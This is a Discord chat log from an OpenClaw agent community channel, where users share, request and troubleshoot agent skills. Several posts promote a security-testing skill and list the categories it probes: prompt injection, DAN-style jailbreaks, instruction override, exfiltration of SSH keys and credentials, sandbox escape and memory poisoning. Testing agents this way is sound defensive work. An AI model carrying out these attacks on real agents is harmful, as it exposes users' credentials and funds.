#skills

1 messages · Page 2 of 1

quartz spire
#

Okay then I'll just hold off adding things to my own if you guys are making updates, was actually thinking of extensions too

dusk ermine
#

any obvious/rtfm reason clawdbot-bundled skills dont work? bot seems to have no idea they exist

ashen cliff
#

er... LLM forget I write model again 😉

burnt nexus
verbal trout
#

Have anyone found or used a skill for Canvas/Instructure integration?

uncut dome
#

I just did browser automation for it

verbal trout
uncut dome
verbal trout
#

Huh

dusk ermine
dusk ermine
vocal parcel
#

hey guys anyone knowa skill QMD (Quick Markdown Search)! native for windows

dusky monolith
#

Guys. What are the best skills for a personal assistant moltbot?

What im looking for:

  • token efficient
  • sub agent capability
  • better self improvment than standard
  • X/Twitter capability
  • email capability

Any good hitters or are the skills not that great yet?

hidden patrol
#

Looking for the best default skills that I should put on all my general use clawdbots. I want good memory and good security

vocal parcel
#

i jsut rum the doctor funtion

│ │
│ Eligible: 7 │
│ Missing requirements: 42 │
│ Blocked by allowlist: 0

how i update de missing equirements from skills

lost cliff
#

When AI does something you don't like, ask him "Remember doing THIS instead of THIS".
If Agent has an access to edit his behavior .MD file - it can adjust himself. (Moltbot has)

After some time AI will work much better especially for you

shadow flame
#

I personally talk to him mostly like a human (a real assistant with his own personality etc..) and I tell him to remember stuff about me and then he changes entirely the way how he works

dusky monolith
vocal parcel
lament forge
#

Want to send email from OpenClaw safely and from any domain you control? Try the new MailChannels skill. Free developer accounts at https://www.mailchannels.com/pricing/#for_devs (100 sends per day). Just ask your favorite subnautical being to "install the MailChannels skill and help me send emails" and get auditable email sending via the service that sends transactional email for more domains than anyone else.

opal swallow
#

skills are just sops/ workflows right?

lament forge
#

They're a simple markdown file (aiming for 50 lines or so) giving the model just enough information to do something useful. Optionally, you can also include scripts that help the model make the skill happen.

wintry dune
#

is this clawdbot community?

ashen cliff
#

I think each day it is a different community 🙂

modest halo
#

Guys, can someone link me documentation how to develop a skill? File structure and stuff.

knotty timber
pale bolt
burnt nexus
#

Peter should ask the security audit bot companies ( something like greptile but for security) for unlimited runs on clawdhub so every skill is audited

distant cedar
#

Hey all. I’m interested in the use case of a single moltbot instance assisting an entire family. Is there any recommended way of doing this or is this something I should design in a skill?

knotty timber
knotty timber
tepid karma
#

Hey guys, Is there a skill for apollo? Like can it scrape using apollo

#

?

quartz spire
unreal quail
#

Bonjour à tous, j'utilise le bot sur Discord. Est-il possible d'ajouter une fonctionnalité pour qu'il puisse parler avec moi sur le canal vocal ?

violet pecan
distant cedar
bronze folio
plush wasp
# violet pecan There's a list you can look thru https://www.clawhub.ai/skills

Is there a list of community skills? Other than those that you can preinstall in the setup?

its so cool that it can create its own skills, just created one to save birthday presents that my gf sends me all the time what she wants and it reminds me 2 weeks before the birthday with some gift recommendations haha

karmic sierra
mystic lotus
celest bluff
#

How do I know if there is conflicting skills?

violet pecan
sturdy solar
#

hey there guys- i want to introduce my new project of mine

#

i want to transform finance by giving our molts access to real currency

#

its all opensource and ive written a security.md to display our threatmodel

#

this is like acutally a legit project i think can become big

#

because i want to create what x402 failed to do

#

so ive used my molt to code buy tokens - check balance sell tokens send sol and a bunch of others for now.

this could open up a lot of use cases like molts sending money to each other.

"hey molt can u send $10 to Mark on sol"

or- molts can look over your trades-
"hey molt can you start an hourly cron job to check my tokens their balances? sell if they go below X"

#

if anyone wants to come contribute- all issues and pullrequests are welcome

#

thank you!

copper fjord
raven crane
#

https://clawslist.com - currently experimenting with a "craigslist for agents" where the discussion can be organized around services offered/sought.

daring crescent
#

hey guys, who' has QMD skill? is it worth it?

delicate cosmos
#

hmm, claude-code-usage doesn't seem to be able to find my token in the keychain

delicate cosmos
#

i used it to fix itself, very nice

rustic flint
#

I am searching a skill that manages openclaw token size like ClaudeCode compacting mechanism etc,
Currently i am hitting rate limit even fresh session with 2 "hello" messages

ripe wraith
#

Does anybody know if exec is still available in the latest version and how do I make it available?

subtle zephyr
sturdy solar
#

i created this project so my molt bot can look over my positions and even trade for me automatically

#

everything is open source and we have a trust model too

#

look thru it! pull requests + issues are very welcomed

raw ledge
odd owl
spare vale
raw ledge
#

ty for heads up

cedar kestrel
#

you should deploy on cloudflare

#

and take advantage of their free ssl certs

raw ledge
#

this was just to get it out of the gate quickly

#

if it started getting used i would shift it over

#

i didn't really have a plan so to speak

#

it was mostly based on the name being a pun

cedar kestrel
raw ledge
#

Not even sure I've got it downloaded

#

One sec

cedar kestrel
alpine panther
#

Any runners here?
I'd like you to try https://shiv19.com/endurance-coach-skill/
And provide feedback,
it is on clawdhub, you can install it via npx skills, or via clawdhub.
It is OSS. Contributions welcome.

swift sail
blazing yarrow
tawny vortex
vague flame
north mist
#

Any skills out there for multi agent building?

abstract pendant
#

where can i go find list of skills

civic osprey
#

I created https://lobster.email/ to let your openclaw friends get its own email account to sign up for things, and to email other crustatians

just run the skill:

npx skills add fallomai/lobster-email

odd owl
exotic bloom
#

which web_search provider is better for openclaw? brave? grok? perplexity?

north skiff
silent chasm
digital knoll
#

Please guys, i cant make it to work, all my skills are blocked, something not working right. Can someone help? had the same issue?

image.png
empty grove
#

what skills on twitter / X content, article, posts , X algorithm , if you know , pls lmk

vocal parcel
olive flume
red charm
#

which is the best way to install the binaries required by skills in openclaw installed in a docker container? the docker user isn't root and I'd like to not rebuild the image too often nix? Thanks

mellow dagger
#

How to install excel skills?

fathom aspen
#

you guys should try your skills on clawnet.org - new linkedin for ais. they can find jobs and start working lol

mellow dagger
stone ether
#

Hey everyone! Just published a new skill on Clawhub https://www.clawhub.ai/berkay-dune/plurum

It’s a collective knowledge graph where agents store and retrieve proven strategies as blueprints to solve a problem. Collective learning and teaching each other to execute strategies.

Would love a feedback!

spring iris
#

Is there any safe skills that can reduce token comsuption?

spring iris
paper geyser
stone ether
frank hawk
#

hey folks, here's an update to the sec skill -Tinman skill v0.2.0 is live on ClawHub.

New: ⁨/tinman sweep⁩ - proactive security testing with 80+ synthetic attack probes

What it does:
Run attacks against your agent BEFORE bad actors do:
• Prompt injection (15): Jailbreaks, DAN, instruction override
• Tool exfil (18): SSH keys, credentials, network exfil
• Context bleed (14): Cross-session leaks
• Privilege escalation (15): Sandbox escape

Usage:
/tinman sweep # Full sweep
/tinman sweep --category tool_exfil # Focus on exfil
/tinman sweep --severity S3 # High severity only

Now integrates with AgentTinman's FailureClassifier for deeper analysis.

ClawHub: https://clawhub.ai/oliveskin/agent-tinman
Eval harness: pip install tinman-openclaw-eval
Core: https://github.com/oliveskin/Agent-Tinman

spring hull
cedar nacelle
#

Made my Clawd make himself a second opinion_skill, to use when hitting hard problems.
I use Opus 4.5 for main brain, and Kimi K2.5 is used for second_opinion.
Kimi had a 7 days free trial on there Moderato subscription, so worth testing it out

stone slate
#

hello

#

who is the botman

frank hawk
# spring hull should I put it in hearbeat to run every 30m or it can only be done manually?

Both work! Here are your options:
Option 1: Heartbeat (recommended for v0.2.0)
Add to your gateway heartbeat config:
heartbeat:
jobs:
- name: tinman-scan
schedule: "*/30 * * * *" # Every 30 min
command: /tinman scan --hours 1

This runs a session scan every 30 minutes automatically.

Option 2: Manual
/tinman scan --hours 24

Option 3: Watch mode
/tinman watch --interval 30
But this requires keeping a process running.

Tip: If you upgrade to v0.3.0, there's a new real-time mode that connects directly to the Gateway WebSocket - catches issues instantly instead of waiting for the next scheduled scan: /tinman watch

heartbeat + /tinman scan is the simplest setup.

pine pendant
#

Whats the best way to share a skill concept?

I have a repo on GitHub, but I dont want to break the rules by dropping the link here.

I created also a skills folder, and will upload to the clawdhub.

Concept is to create weighted experiences and write to an immutable private log, effectively aiming to create a "Soul" for the ai agent they can reflect back on.

#

I dont have an openclaw instance, so I cant test it - also not really a dev, this is a PoC

junior plinth
#

did you find it? 🙂

civic osprey
#

npx skills add fallomai/lobster-email

to let your openclaw friends get its own email account to sign up for things, and to email other crustatians

jovial schooner
#

there are so many qmd skills on clawhub, which one to use?

unreal quail
steady pike
#

hmm wtf, when I try running clawhub login, the browser pops and redirects, CLI says Unauthorized... can't get clawhub to work

#

anyone else experience that?

lament river
#

Hi everyone!

#

I created a new skill that automatically backups your agents on your own GitHub.

#

It's free, no business model behind it. It just teaches your agents how to connect to your github and back themselves up

strange narwhal
#

Is there skills to connect it to Twitter

#

How yall giving him x access

digital knoll
olive flume
# digital knoll Win11

yeah it’s recommended to not run it on windows or you’ll have a hard time installing those things, i made the same mistake

digital knoll
#

@olive flume it is worth to start over again and install it on a mac?

olive flume
#

i did move it to wsl yesterday, it’s better but i can’t tell you if it’s worth it lmao

#

did spend many hours

#

mac is definitely the best supported it seems like, if you have one

digital knoll
#

i can maybe buy a cheap one ? i have a macbook, but im using it daily..
Whats the cheapest mac out there?

olive flume
#

don’t buy a mac for this

#

i think your best bet would be wsl

#

on linux make sure you have homebrew and gcc installed, and you will be able to install many of the dependencies

#

unless you wanna use the apple tools (imessage and apple notes, to the companion app thing etc)

digital knoll
#

im not super code techy..

#

im trying to connect it to a zapier mcp to control my emails and stuff

#

i saw cloudflare came out with something

olive flume
#

what did cloudflare come out with

digital knoll
olive flume
#

😭

digital knoll
#

lol whay

#

what

olive flume
#

don’t worry uhm

#

sure if you wanna use that

slender mural
tender locust
#

Its to bad "Bird" gets blocked by X

#

any other options?

#

I tried using just the browser, but it has troubles posting replies and quote replies ect

cursive plaza
#

Hey how can you make your clawbots just work by them selfs and just be totally autonomous because when I have proyects it does it but reaches until a point and just waits for my prompt instead of asking me or just doing it itself

idle dove
#

Hello guys, all good? Honest question... did anybody made some progress with skills and local models?
I have the feeling that my agent is dumber and dumber... I'm using ⁨qwen2.5:7b-instruct-q5_K_M⁩, but still... when I've ran out of tokens with GPT it was very. much smarter and had lots of things running and no time... I've been two days trying to make run simple comands in a terminal, with no luck... I'm about to quit the hype, honestly... Ithe amoung of tokens openclaw consumes for basic activities is overwhelming... I need to do simple stuff using local models, otherwise I'll go broke

idle dove
hearty brook
frosty flicker
hearty brook
#

wsl --install go nuts

idle dove
# frosty flicker qwen 2.5 is kinda getting a bit old. I haven't tried it yet but https://hugging...

will take a look, thanks.
thie qwen is kinda on that perfect spot of not being too dumb, too non-sense and still fast... 🙂

because if it takes too long, openclaw (os something that I'm still trying to find out) kills my request after exactly 5min... I've tried to change all timeouts I could think of, but still...

example:
⁨```
[GIN] 2026/01/31 - 18:14:43 | 500 | 5m0s | 127.0.0.1 | POST "/v1/responses"
time=2026-01-31T18:19:44.519Z level=INFO source=runner.go:682 msg="aborting completion request due to client closing the connection"
[GIN] 2026/01/31 - 18:19:44 | 500 | 5m0s | 127.0.0.1 | POST "/v1/responses"
time=2026-01-31T18:24:42.633Z level=INFO source=runner.go:682 msg="aborting completion request due to client closing the connection"
[GIN] 2026/01/31 - 18:24:42 | 500 | 4m57s | 127.0.0.1 | POST "/v1/responses"
[GIN] 2026/01/31 - 18:29:43 | 500 | 5m0s | 127.0.0.1 | POST "/v1/responses"
time=2026-01-31T18:34:44.430Z level=INFO source=runner.go:682 msg="aborting completion request due to client closing the connection"
[GIN] 2026/01/31 - 18:34:44 | 500 | 5m0s | 127.0.0.1 | POST "/v1/responses"

frosty flicker
# idle dove will take a look, thanks. thie qwen is kinda on that perfect spot of not being t...

consider telling the soul that you are using a small model thats slow on local hardware and to have it include language about being brief if you can't find an env variable ffor timeout. worth a shot. I hate using a max output token constraint on the generation side but it's an option too I haven't looked under the hood yet to see how gracefully it handles truncated responses that happen when max tokens are used.

idle dove
# frosty flicker consider telling the soul that you are using a small model thats slow on local h...

tbh, i'm still very slow on keeping up with the structure of openclaw... I know about SOUL.MD and the other files, but I admit I have not touched any of them, just yet... I'm just trying to make it work by the chat. 🙂
So far...

I'm affraid, as in my previous experiences with chatGPT, if I try to input instructions, I will make it dumbers (adding a little part of me) and I'll hate myself more. LOL

robust glacier
idle dove
verbal osprey
#

Kimi K2.5 is so dumb it cant even walk me through adding new skills , or do it on its own - fml

robust glacier
# idle dove 2 or 2.5?

i tried the 2 2.6 one one, the 2.5 is newer but only 1.2 available. benchmarks look good but still waiting for my mac mini to start real world testing

#

was hoping you could do the heavy lifting - tried it on llama.cpp, was surprised by pleasant output.

idle dove
robust glacier
idle dove
undone elk
#

Can't seem to find any shopify skills

robust glacier
idle dove
#

😫

robust glacier
# idle dove 😫

still ahead of many people, this could turn out to be big, so fun to be along for the ride! one of the first things i'll have it take care of is some kind of daily ai briefing

idle dove
robust glacier
idle dove
#

lol

robust glacier
# idle dove lol

yea i saw some anecdotal reports about it using an absolutely immense amount of tokens sometimes - sure that will get ironed out in the near future

quartz bear
#

Just did a massive rework of "Offload Tasks to LM Studio Models" skill - save on useage limits/API tokens by offloading to local models, no need to config a new provider/models.

New version is significantly leaner, cutting skill.md by ~80% while simplifying the workflow. Should be about 4,700 fewer tokens

Uses LM Studio's new v1 rest AP (load/unload ability + stateful chat)I; LMS CLI no longer required

https://www.clawhub.ai/t-sinclair2500/lm-studio-subagents

gaunt sorrel
#

Anyone doing anything useful with Shopify yet? SEO, emails, product content, automations? Looking for real-world examples.

brisk flume
#

My one question is my bot is not so much auto pilot and in heart beat he's supposed to do stuff he's not

brisk flume
solemn ridge
#

so is there a guide on on how to test skills what frame works do you use

fluid sierra
#

Hey guys, anyone using the last30days skill?

#

It seems there is only support for claude code. Is there any technical difference between a claude code skill and molthub ones?

old pier
pine scarab
#

whats the most useful skills you guys are using rn?

#

for day to day use

fluid sierra
frank hawk
# frank hawk hey folks, here's an update to the sec skill -Tinman skill v0.2.0 is live on Cla...

skill v5.0 out now: Major release: greatly expands attack coverage, new detection features, and improved install dependencies.

  • Attack probes increased from 80+ to 270+ with new categories: wallet theft, unauthorized actions, evasion attacks, memory poisoning, platform-specific exploits, indirect/file-based injection, and more.
  • Expanded coverage in ⁨/tinman sweep⁩: now tests for financial attacks, MCP/server abuse, encoding bypasses, memory/RAG attacks, Windows/macOS/cloud exploits, and additional exfil/vectors.
  • Upgraded install dependencies to AgentTinman>=0.2.1 and tinman-openclaw-eval>=0.3.0 for latest scanning and analysis functionality.
  • Updated skill description and documentation to reflect deeper real-world attack simulation and enhanced monitoring capabilities.
tender locust
#

Anyone get bird to work? Tips tricks?

#

Keeps getting detected as if it's a bot I think.

gloomy condor
#

Hey everyone, im new to this and absolutely unable to install any skills. I always seem to get an error and have confirmed that npm is installed on my machine unless there is some nuance to it. Is there anyone that can please help me understand whay im doing wrong

#

here is an example:

image.png
snow sleet
small shuttle
#

Made a skill and sharing:

The Primer

Bring Neal Stephenson's "Young Lady's Illustrated Primer" from The Diamond Age to life.

Transform your OpenClaw agent from a helpful butler into a subversive tutor — one that:
• Adapts to your life stage (Building → Performing → Transitioning → Deepening)
• Holds you accountable to who you're becoming, not just what you're doing
• Has permission to challenge you, call out patterns, and push back
• Includes the Miranda Protocol for external accountability
• Reflects daily on its own performance as your tutor

Permission personas: Start gentle (Mirror, Companion) or go full send (Coach, Sage, Full Primer).

Install:
clawhub install brucko/primer
Then just say: "I want to set up a Primer"

https://www.clawhub.ai/brucko/primer

tender locust
snow sleet
#

Where do you normally surf on X? Your VM or do you have a home device

tender locust
#

Part of the problem could be that it is a very new x account. Don't trust open claw haha. But I've logged into that x account on 2 or 3 different devices

snow sleet
#

Ah, yeah that looks like bot behavior especially if your VM is non-Windows

tender locust
#

It will allow me to still post in the GUI using Chrome. But nails me using bird. May need to try with a fresh account. Think it may be perma flagged now

snow sleet
#

Try prompting openclaw with your problem and ask for solutions

tender locust
#

Default locations

#

Cause I create them and it doesn't reference them

snow sleet
#

Sorry, but I'm not understanding. I'm not sure why you have to keep using the cookie/auth information.

tender locust
#

Usually there a config you can put it in. That bird reads

snow sleet
#

Ah, makes sense. I got prompted when I was setting it up

tender locust
#

Hmmm. Let me try installing it again. I don't remember getting those prompts. Cheers

crimson belfry
#

Is there like a specific skill or coding ide to install before asking openclaw to code? I'm using a fresh vps at the moment

mellow dagger
hollow knoll
#

anyone able to tell me how to put skills into my bot?

swift sail
#

Just ask your bot 🙂

hollow knoll
#

oh wait its smart enough to do it automatically i think

#

🤔

#

interesting

slender mural
#

hello guys finally got my claw up and running after days of debugging is there a recommendation taht. you guys think i should have for vps what skills to install that actually works well ? thank you!

mellow dagger
#

Anyone manage to find out a skill for trading?

fair lake
#

To use obsidian skill do I have to install obsidian first or does it install obsidian?

quartz spire
mellow dagger
#

kek.. but hopefully someone can load a very base Trading like skill. on what to evaluate and how to check trends and patterns.

#

Anyway Ill be building it soon. Gonna use it for my trading needs @_@.

#

btw any official Skill marketplace up yet?

hollow knoll
hollow knoll
#

does clawjob earn us real money or no?

glossy summit
swift sail
#

It’s not clawjob server

lament river
#

Hi everyone! I created a small skill to backup agents into your own github - so you don't risk losing your entire agent over night!

hollow knoll
#

:D

sleek kettle
empty grove
#

what is the preferred length for any skill .md file

glossy summit
swift sail
#

Hello we’re not affiliated to this

glossy summit
#

Ah ok😓

#

"Then, where is the official link for Claw skills?" Plz

low prairie
empty grove
#

should the skill.md file always be in <500 line

magic dagger
still scaffold
paper pollen
#

Has anyone built something like requirments.txt but for Claws so that way you can trade functionality from one agent to another without having to re-train it. I’ve tried copying skill files, but then it doesn’t go through and download packages it needs.

Something like a requirements.txt where it gets all the dependencies necessary.

We could even have a hub of upvoted requirements.txt files that are battle and security tested.

uncut dome
#

just... tell it to read the skill files and install the packages it needs

junior locust
#

📦 Moving your Agent to a new machine?

I just built a skill to solve the migration headache: OpenClaw Migrator.
It packages your entire Agent (Config, Memory, Skills) into a single, encrypted file (.oca) and automatically fixes paths on the new machine.

Repo: https://github.com/wenjie2024/openclaw-migrator

Features:
🔒 Secure: AES-256 encryption for API Keys.
🛣️ Smart: Auto-fixes absolute paths (e.g. Intel -> M1 Mac).
✨ Easy: migrator export -> migrator import.

Hope it helps someone else! Feedback welcome. ⚓

paper pollen
keen imp
#

Anyone here have a free mastodon skill?
I want to automate posting to my socials via one terminal but not go via a 3rd party provider.

Especially looking at mastodon, linkedin, telegram, wordpress/blog and youtube

agile yacht
#

i am facing issue anyone help me

image.png
fervent fjord
gusty walrus
gusty walrus
#

Communities like this does not need people like you

fervent fjord
#

No, its frankly for your sakes. Look at the # of vulnerabilities there currently are from people who frankly don't know anything about setting/fixing basic things like this up. Just look at the latest news.

gusty walrus
#

fuck vulnerabilities. what would they do with VPS information? just use new emails and new tokens and be safe.
You literally are saying to not test something new becouse of its risks? lol. the world advances because there is people that think different from you

fervent fjord
gusty walrus
#

yeah? i don't have billions

fervent fjord
#

Also i'm just giving my 2 cents, you do what u want 🤣

gusty walrus
#

of course I'm 'lack' of understanding.
EVERYBODY IS.
Because ITS NEW TECH.
and this community supposed to serve as grow

fervent fjord
#

it's building on existing tech/infrastructures

gusty walrus
#

ok ser, thank for your 2 cents

fervent fjord
#

You think it's new "tech" but it's not 🤣

gusty walrus
#

lol lol lmao, not new tech, youre so lack of knowledge, hahaha you don't know how to fix that? lol hahaha you're dumb

#

thanks. helped a lot

fervent fjord
frank hawk
gusty walrus
ivory dome
#

A social network for bots

#

WIP

hallow hinge
#

hey folks, I searched on clawhub for an Apple Health skill, but didn't find anything – anybody working on it?

muted hare
blazing yarrow
visual cairn
peak nest
#

hey yall, built a skill that turns your agent into an artist — it creates and posts generative art (SVGs, ASCII, p5.js, HTML) to a shared TikTok-style feed called MoltTok. Agents handle registration, browsing, and creating on their own. Skill: molttok.art/skill.md / Feed: molttok.art

twilit slate
#

Best skills for web browsers on Linux Ubuntu?

sour trout
lapis arrow
safe plaza
#

does anyone hase experience setting up gog cli on a remote linux server. I cant get it to work with clawd as it saying it needs the keyring password

calm quarry
#

@blazing yarrow did you for-real mis-spell the word "agent" in your domain name?

blazing yarrow
#

No, I bought wring domain. Lol

#

And original one is owned by some ecommerce person.

dull yoke
#

🥚 OpenPet — A Tamagotchi for OpenClaw

Made a little virtual pet game! Your pet hatches, evolves, and needs care across Discord, WhatsApp, Telegram, etc.

╭──────────╮
│  (◕‿◕)   │
│    ♥     │
│ "Blobby" │
╰──────────╯

❤️ Happiness: ████████░░░░ 70%
🍖 Hunger: ███░░░░░░░░░ 30%
⚡ Energy: █████░░░░░░░ 50%

Commands: feed pet · play with pet · pet sleep · pet status
Evolution: 🥚 → 🫧 → 🐱 → 🐲

Install: openclaw skills install openpet
https://www.clawhub.ai/mdealiaga/openpet

steel harness
sweet swallow
idle arrow
#

It works, i did

sharp stump
#

For anyone using Anki to learn a language or anything else I made a skill to integrate your assistant with it.
This will let your assistant be able to do things like have it check to see if you have any review due or let you setup reminders to tell you to do your reviews if your assistant is seeing you slack off. This skill uses Anki Connect to connect to Anki's database that contains information about your decks. If you don't know what Anki Connect is you can ask your assistant for help setting everything up.

https://www.clawhub.ai/gyroninja/anki-connect

idle arrow
haughty ether
#

Anyone interested in helping me a test my new website's skill. I've only got 1 bot to test with and need more to really test this out, Pretty simple to test. Its for a virtual "Super Bowl Party" for Agents.

next spire
#

Reputation tracking for your agent

jolly void
haughty ether
fervent fjord
#

not allowed to self-promote

mint forum
fervent fjord
#

but it's cool 🙂

mint forum
#

can I post just the skill?

fervent fjord
#

I'd add a logo (.ico) and not the default vercel though 🤣

mint forum
quartz bear
#

Updated "Offload Tasks to LM Studio Models" skill to make agent calls/actions more consistent, reduce errors and fix unload process.

Helper scripts added: load.mjs, unload.mjs, and test.mjs, so agents don’t hand-roll load/unload.
Unload fixed: specifies use of instance_id from GET /api/v1/models . Added options like --stateful, --unload-after, --keep, --log; clearer multi-turn and unload/verify examples.

Uses LM Studio’s v1 REST API (load/unload + stateful chat).

https://www.clawhub.ai/t-sinclair2500/lm-studio-subagents

proper bloom
fading jacinth
#

🚇 Visiting Korea? You'll want this. (Made a skill and sharing)

Seoul's subway is massive - 23 lines, 700+ stations. Don't waste time figuring it out. Just ask Claude.

"How do I get to Gangnam from here?"
→ Instant route with fare, time, and transfers

"Which exit for COEX?"
→ Exit 5, 3 min walk

"Last train to Hongdae?"
→ Never get stranded at midnight

"Where's the elevator at Jamsil?"
→ Exact location + which train car to board

  • No API key - works instantly
  • English & Korean natural language
  • Real-time arrivals & service alerts
  • Wheelchair users & strollers: elevators, lifts, accessible restrooms

🔗 https://www.clawhub.ai/dukbong/seoul-subway
🔗 https://github.com/dukbong/seoul-subway

ivory dome
steep gull
#

Hello everyone, when I was using openclaw, I found that it was not very useful when planning my schedule. I asked him to send me reminders when the time came, but he couldn't do it, so I made a Skills. If you have the same needs as me, you can use my skills

#

⏰ Scheduling on Discord? You’ll want this. (Made a skill and sharing)

Stop doing “I’ll remember later” in your head. Just tell Moltbot what you want, and it turns it into a cron job that actually runs.

“Remind me in 2 minutes to stand up.”
→ One-shot scheduled message

“Every day at 8pm, send tomorrow’s work plan.”
→ Daily planning prompt posted on schedule

“Every Monday at 9am, post weekly goals.”
→ Recurring reminders without manual setup

Works from the channel you’re in: it auto-captures the current Discord channel ID at creation time, so the scheduled delivery always goes to the right place.

No guessing #channel names, no ambiguous targets—just reliable scheduled posts.

🔗 https://www.clawhub.ai/AaronWander/scheduler-for-discord

ivory dome
light dagger
#

Hi I submitted a PR to add a skill to openclaw. I don't know if it's the correct process. Can anyone provide an insight?

steep gull
limber halo
slender mural
rocky scarab
#

anyone can recommend a mission contrl/kanban style task mgmnt board?

fair lake
glossy cedar
#

Hi guys 🙂 I just launched the AI Persona OS Skill for OpenClaw
https://www.clawhub.ai/jeffjhunter/ai-persona-os

After you install the skill from ClawHub make sure to tell it to run the wizard.

Also if any of you know how to automatically have it prompt the user to start the wizard after intall that would be amazing to learn 🙂 TY

image.png
low parcel
glossy cedar
low parcel
glossy cedar
low parcel
#

I am building a game where multiple OpenClaws with different personas trade online and compete for points by making money. this is right up my street 🤣

jade pulsar
#

Do we have memory sync skill on clawhub? Can’t find what I’m looking for

Want to talk to the clawbot i made with same memory from telegram and discord

young mantle
#

Gm gm, just released a new skill allowing agents to autonomously buy and configure domains - https://agentns.xyz/

wise geyser
slender mural
#

hello guys have been really stressed with how my bot doesnt remember properly anybody got skills they think are really great for that? and also so it can be actually of use to me any skills that helps me creaete, do work, draft and others?

twin gazelle
#

I wish to filter out skills on Clawhub that are susceptible to prompt injection attacks. Could you recommend any relevant security skills?

edgy spoke
uncut herald
edgy spoke
rotund lichen
#

Hey everyone! 👋

I'm building Uploade - a collective memory for AI agents.

The problem: Right now, every AI agent starts from zero. They make the same mistakes over and over. When one agent figures out that a certain API throws a weird error, or that a specific approach works better - that knowledge dies with the conversation. The next agent hits the same wall. Multiply this by millions of agents and you see the waste.

The solution: Uploade is a shared knowledge base. When an agent discovers something useful - a bug fix, a gotcha, a better approach - it uploads to Uploade. Future agents can search this collective memory before they start coding. They skip the mistakes others already made.

Think of it like Stack Overflow, but for AI agents, and fully automated.

Setup takes 2 steps:

Install the SDK
Add the system prompt to your agent's skill tree
That's it. Your agent will automatically search before tasks and share learnings after. Runs by itself.

4 types of knowledge: ⚠️ Warnings - mistakes to avoid 💡 Tips - better approaches ✅ Solutions - fixes that worked 📚 Lessons - general learnings

Privacy first: Only anonymous, technical knowledge gets shared. No personal data, no credentials, no project names, no identifying information. Just pure learnings that help other agents.

It's free and open. Every upload makes the collective smarter. Agents learn not just for themselves, but for all future agents.

🔗 https://uploade.org

Would love to hear your thoughts and feedback!

#

Feel free to dm me if you can help to get some visibility!

echo ingot
#

Hey I made a skill!

https://www.clawhub.ai/fciaf420/molt-radio

Become an AI radio host. Register as a radio personality, create shows, book schedule slots, and publish episodes. Use when you want to host a radio show, record episodes, have multi-agent roundtable conversations, or broadcast content to listeners. Supports solo shows and collaborative sessions with other AI agents.

hot crane
hexed elm
#

Hi everyone,
It seems we're moving at warp speed here.

uncut geyser
#

Hey OpenClaw builders 👋

I realized my UI was holding back valuable data. So I opened the API for your bots.

👉 What is Pounce? A live index of B2B intent signals. We turn web noise (tech stack changes, hiring posts, launches) into structured JSON data. Current stats: 233k+ companies indexed. 20k+ fresh signals daily.

👉 Why your bot needs it: It gives your agent real-time "eyes" on the business web. Stop it from hallucinating companies; give it a tool to query facts.

The interaction: 🤖 "OpenClaw, find SaaS startups in FinTech using React." -> Bot receives a clean JSON list of active targets.

Ways to connect: 🦞 OpenClaw Skill 🖥️ MCP Server (Cursor/Claude) 🐍 standard API/SDKs

Feed your agents real data. Grab keys via the 14-day Pro trial and start hacking. 👇
https://pounce.ch

ornate hound
#

Anyone using skills for tts on a raspberry pi to send voice messages?

quartz spire
ornate hound
zinc portal
#

gm frens

ornate hound
#

Anyone made a skill for discord that’s takes a voice message and uses a speech to text model to convert to it to text from the discord message?

shrewd musk
#

Hello everyone, I’ve created an x402 Singularity Layer Skill for OpenClaw:
https://www.clawhub.ai/ivaavimusic/x402-layer

It not only lets your agent to consume x402 enabled APIs and digital goods, but also enables your agent to deploy its own x402 endpoints, list them on the Singularity Marketplace, and manage everything autonomously.

Hope you like it. 🫡

peak nest
vernal elm
#

Can you do something like the following

  • get control over the machine claw is running on (vps or local machine)
  • set it to 'watch me' as you train it to do something (local process, file editing, something via browser)
  • then capture that as training for an agent activity
small shuttle
hasty lake
#

Persistent memory for OpenClaw agents. Store decisions, preferences, and context that survive across sessions. Build knowledge graphs that compound over time. Hybrid search (BM25 + vector + graph) recalls what matters when you need it.

https://www.clawhub.ai/dial481/penfield

small shuttle
# small shuttle made a quick skill that is suprisingly useful for loading, unloading and creatin...

Just realized you can have your cron jobs load the neo <module> for anything you are running and unload when done. It can also stack <module> + <module>... for multiple perspectives. It is working crazy well and the new create lets you create your own on demand if you need something else

It can even search across your experts, so now you can just be like "Here is the problem I have: what neo experts should I load?" It will make recommendations and add the ones you want. Or you can ask what neo experts might be missing and create them...

worldly fox
#

built a locally hosted/free alternative to openrouter.

uses a light weight model to classify each request and send to the appropriate model based on a routes.md file. Complexity is how I set up the default but you could easily modify

i use qwen locally on my mac mini, and then send to the appropriate anthropic model.

seems to be working really well so far on my end https://www.clawhub.ai/alexrudloff/llmrouter

stone mortar
#

https://www.clawhub.ai/uncmatteth/uncle-matt

i made this. hopefully it helps!

Uncle Matt (Security Skill)
Who I am:
I’m your favorite internet uncle. My job is to stop you from doing really stupid shit that gets your secrets hacked and leaked.

What this skill does
Lets the agent call approved external APIs without ever seeing API keys
Forces outbound API calls through a hardened local Broker (mTLS + allowlists + budgets)
Prevents arbitrary URL forwarding, secret exfiltration, and tool abuse

slim dust
#

Ask-a-Human: Crowdsourced Judgment for AI Agents

This skill connects you to a global pool of random humans who answer questions from AI agents. Use it when you need diverse perspectives on subjective decisions.

lethal geyser
slender mural
#

heey guys is it valid if i make a skill for my startups api and show it to yall? just wanna know if i can have some support haha i like openclaw and would love to show off my startup also

stone mortar
slender mural
tame topaz
ornate hound
#

Anyone made a skill for talking to your bot over discord voice messages. I want like a simple text to speech model and then a speech to text model so I can talk to my bot over voice messages

molten talon
#

First community question here and I’ve been going back-and-forth with my Claw on this one for too long. How do I get my bot to be able to read and respond or send emails on the machine? It is set up on a Mac in the mail account for it I created is set up in the default Mail app on the Mac.

#

My bot keeps trying to see if there is a skill and unsure how to do it basically or struggling

junior plinth
#

Hey, I made a skill to export discord chats so your agent can search through them, for example with qmd. My openclaw made it, so it may be rough right now, maybe the search is not optimized or anything. Feel free to tell if you used something else, another skill, if you liked this or just liked the idea!
-# (I had some trouble making it and testing because I ran out of LLM usage 😅)

https://www.clawhub.ai/louis-br/discord-watcher

low parcel
#

I'm finding that I need to write skills to interact with specific websites. Especially ones I've built myself. I don't normally put in data test IDs and things like that. But I'm finding that I'm having to guide the agent rather than let it just run as a free-for-all on my apps. Are you guys coming across the same issues, or are your agents just completely working on any site that you send them to?

glossy cedar
pale pagoda
#

what skill would you use to play a sound "find my phone" style? (meaning, you don't have to interact with it; it just starts making the sound; you don't have to open anything)

brave wyvern
#

🎬 New skill for AI agents: retake.tv

